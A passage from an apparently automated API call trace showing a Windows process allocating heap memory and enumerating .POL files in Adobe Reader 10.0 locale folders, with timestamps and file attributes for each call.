0x124c848 [0082.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bf48 [0082.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288520 [0082.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6ec0) returned 0x129adb0 [0082.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0082.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.376] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.POL", cAlternateFileName="")) returned 1 [0082.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bf68 [0082.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288628 [0082.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.378] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.POL", cAlternateFileName="")) returned 1 [0082.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bf88 [0082.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288730 [0082.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.379] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.POL", cAlternateFileName="")) returned 1 [0082.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bfa8 [0082.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288838 [0082.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.381] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807a3460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.POL", cAlternateFileName="")) returned 1 [0082.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bfc8 [0082.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288940 [0082.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.382] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.POL", cAlternateFileName="")) returned 1 [0082.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bfe8 [0082.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288a48 [0082.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.POL", cAlternateFileName="")) returned 1 [0082.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c008 [0082.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288b50 [0082.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.POL", cAlternateFileName="")) returned 1 [0082.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c028 [0082.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288c58 [0082.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.387] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.POL", cAlternateFileName="")) returned 1 [0082.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c048 [0082.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288d60 [0082.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.388] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.POL", cAlternateFileName="")) returned 1 [0082.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c068 [0082.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288e68 [0082.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.390] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.390] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.POL", cAlternateFileName="")) returned 1 [0082.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c088 [0082.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288f70 [0082.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.391] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.POL", cAlternateFileName="")) returned 1 [0082.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c0a8 [0082.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289078 [0082.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.393] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.POL", cAlternateFileName="")) returned 1 [0082.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c0c8 [0082.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289180 [0082.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.POL", cAlternateFileName="")) returned 0 [0082.394] GetLastError () returned 0x12 [0082.394] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.395] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, 